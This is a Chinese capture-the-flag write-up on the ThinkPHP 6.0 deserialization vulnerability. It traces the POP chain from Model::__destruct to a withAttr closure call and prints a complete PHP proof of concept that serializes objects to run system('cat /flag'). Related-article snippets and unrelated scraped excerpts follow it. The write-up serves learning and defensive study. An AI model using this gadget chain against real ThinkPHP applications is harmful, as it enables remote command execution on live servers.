[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

刚开始是403,扫描以下目录,扫描到三个目录。

[18:06:19] 200 -    1KB - /README.md
[18:06:19] 200 - 34B - /.gitignore
[18:06:26] 200 - 880KB - /www.zip

通过README可以看到是ThinkPHP6.0。

我们现在只能到index頁面,全局搜索一下unserialize,发现在index.php下存在着反序列化的地方。

同时payload参数可控,通过GET方式就能传递到。

接下来要找反序列的点,全局distruct,先从这个点开始审计。

发现只有六处,反序列的点,依次查看。

Mongo处无法利用

free,close都无法利用,只是释放参数。

connection处同理。

看向Model.php。

看到save函数,感觉是能操作的。

public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

条件lazysave是设为true,默认为flase。

跟进save方法。

 public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data); if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
} $result = $this->exists ? $this->updateData() : $this->insertData($sequence); if (false === $result) {
return false;
} // 写入回调
$this->trigger('AfterWrite'); // 重新记录原始数据
$this->origin = $this->data;
$this->set = [];
$this->lazySave = false; return true;
}

需要满足$this->isEmpty()不成立,$this->trigger('BeforeWrite')为TRUE。

跟进isEmpty:

return empty($this->data);

即data不设置即可。

跟进tigger:

    if (!$this->withEvent) {
return true;
}

让$this->withEvent为flase即可。

跟进upadteData方法以及insertData方法。

protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
} $this->checkData(); // 获取有更新的数据
$data = $this->getChangedData(); if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
} return true;
} if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
} // 检查允许字段
$allowFields = $this->checkAllowFields(); foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
} foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
} // 模型更新
$db = $this->db();
$db->startTrans(); try {
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->field($allowFields)
->update($data); $this->checkResult($result); // 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
} $db->commit(); // 更新回调
$this->trigger('AfterUpdate'); return true;
} catch (\Exception $e) {
$db->rollback();
throw $e;
}
}

继续跟进checkAllowFields

发现文字拼接:

$this->table . $this->suffix

能够被利用触发toString方法。

进入到这一步的条件就是: $this->field为空,且$this->schema也为空。

即: $this->field = [];
$this->schema = [];

同时这里还有一个判断,即$this->table,当为true是才能执行字符串的拼接。

所以为了能让这个方法被调用到,我们要让exists存在。

即 $this->exists =True

关于toString魔术方法,他是在Conversion.php当中。

public function __toString()
{
return $this->toJson();
}

继续查看tojson这个函数:

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}

跟进到toArray方法。

          elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}

再看到getAttr方法:

public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
} return $this->getValue($name, $value, $relation);
}

跟进getData方法:

if (is_null($name)) {
return $this->data;
} $fieldName = $this->getRealFieldName($name);

进入到getRealFieldName方法:

   protected function getRealFieldName(string $name): string
{
return $this->strict ? $name : Str::snake($name);
}
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}

如果$this->strict为True,返回$name。

此时再getData方法中:

$this->data[$fielName] = $this->data[$key]

此时再getAttr中就是: $this->getValue($key, $value, null);

跟进getvalue:

protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
$method = 'get' . Str::studly($name) . 'Attr'; if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
} if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
}else {
//$fieldName = a
//withAttr[a] = system
$closure = $this->withAttr[$fieldName];
//value = system(ls,)
$value = $closure($value, $this->data);
}

可以很明显看到:

当$this->withAttr[$key]不为数组条件就会为false,从而触发命令执行

poc:

<?php
namespace think\model\concern {
trait Conversion
{
} trait Attribute
{
private $data;
private $withAttr = ["xxx" => "system"]; public function get()
{
$this->data = ["xxx" => "cat /flag"];
}
}
} namespace think{
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $field;
protected $schema;
protected $table;
function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->table = true;
}
}
} namespace think\model{ use think\Model; class Pivot extends Model
{
function __construct($obj='')
{
//定义this->data不为空
parent::__construct();
$this->get();
$this->table = $obj;
}
} $a = new Pivot();
$b = new Pivot($a); echo urlencode(serialize($b));
}

这个poc是网上找的,跟我写的思路可能有些地方不太一致。

[安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞的更多相关文章

  1. [安洵杯 2019]easy_serialize_php

    0x00 知识点 PHP反序列化的对象逃逸 任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能会产生漏洞. 参考链接: https://blog.csdn.net/a3320315/a ...

  2. [安洵杯 2019]easy_web

    0x00 知识点 md5强类型的绕过 方法比较固定: POST: a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%d ...

  3. 刷题[安洵杯 2019]easy_web

    前置知识 md5碰撞: %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e% ...

  4. buuctfweb刷题wp详解及知识整理----[安洵杯 2019]easy_web

    尝试之路加wp 观察源代码和get所传参数可猜测img所传参数img就是该图片经过两次base64编码和一次hex编码后可得555.png成果验证猜测 然后发现该图片以data元数据封装的方式放到了源 ...

  5. [安洵杯 2019]easy_web-1

    1.首先打开题目如下: 2.观察访问的地址信息,发现img信息应该是加密字符串,进行尝试解密,最终得到img名称:555.png,如下: 3.获得文件名称之后,应该想到此处会存在文件包含漏洞,因为传输 ...

  6. 安洵杯iamthinking(tp6反序列化链)

    安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...

  7. 2019 安洵杯 Re 部分WP

    0x01.EasyEncryption 测试文件:https://www.lanzous.com/i7soysb 1.IDA打开 int sub_416560() { int v0; // eax i ...

  8. 2021美团安洵暗泉re部分复现

    typora-copy-images-to: ./ 安洵杯 sign_in 贪吃蛇 虽然没啥用 smc解密拿一下flag相关的部分 倒着看看sub_40105F 和sub_401055函数 写出解密算 ...

  9. 实战经验丨PHP反序列化漏洞总结

    又到了金三银四跳槽季,很多小伙伴都开始为面试做准备,今天小编就给大家分享一个网安常见的面试问题:PHP反序列化漏洞. 虽然PHP反序列化漏洞利用的条件比较苛刻,但是一旦被利用就会产生很严重的后果,所以 ...

随机推荐

  1. Spring Boot Jpa 多条件查询+排序+分页

    事情有点多,于是快一个月没写东西了,今天补上上次说的. JPA是Java Persistence API的简称,中文名Java持久层API,是JDK 5.0注解或XML描述对象-关系表的映射关系,并将 ...

  2. Thrift IDL基本语法

    简言:介绍Thrift的IDL基本语法,初次使用或多或少的会有很有"坑"要踩,但是我们要遇山挖山,遇海填海,在学习的道路上坚定的走下去,方可日后吹牛B! IDL Thrift 采用 ...

  3. 团队作业3:需求改进&系统设计(歪瑞古德小队)

    目录 一.需求&原型改进 1.1 用户需求调查 1.2 选题需求改进 1.3 功能分析的四个象限 1.4 完善需求规格说明书 1.5 任务分解WBS调整 1.6 项目进度计划调整 二.后端架构 ...

  4. NeuroAttack: Undermining Spiking Neural Networks Security through Externally Triggered Bit-Flips

    郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! arXiv:2005.08041v1 [cs.CR] 16 May 2020 Abstract 由于机器学习系统被证明是有效的,因此它被广 ...

  5. Python开发的入门教程(四)-dict

    介绍 本文主要介绍Python中dict的基本知识和使用. Python之什么是dict 我们已经知道,list 和 tuple 可以用来表示顺序集合,例如,班里同学的名字: ['Adam', 'Li ...

  6. zero:seo优化的三部曲

    http://www.wocaoseo.com/thread-230-1-1.html 理解用户的需求.了解搜索引擎的原理.明白如何通过搜索引擎优化对网站产生价值,这是SEO学习中应该陆续深入的三个部 ...

  7. Mysql性能参数优化

    1.Max_connections (1)简介 Mysql的最大连接数,如果服务器的并发请求量比较大,可以调高这个值,当然这是要建立在机器能够支撑的情况下,因为如果连接数越来越多,mysql会为每个连 ...

  8. Java实现IO通信(服务器篇)

    Java实现IO通信(服务器篇) 如何利用java实现我们的通信呢?首先我们了解一下什么是通信?通信的机制是怎样的? 首先来讨论一下什么是通信?通信,指人与人或人与自然之间通过某种行为或媒介进行的信息 ...

  9. Tesselation学习

    Tesselation的作用:给低片面数模型镶嵌更多片面,让低模变高模. 和法线贴图不同,法线本质是通过改变低模表面的颜色来模拟高模,比如在一个片面上普通diffuse是均匀的颜色分布(因为光照颜色一 ...

  10. HDU - 6570 - Wave(暴力)

    Avin is studying series. A series is called "wave" if the following conditions are satisfi ...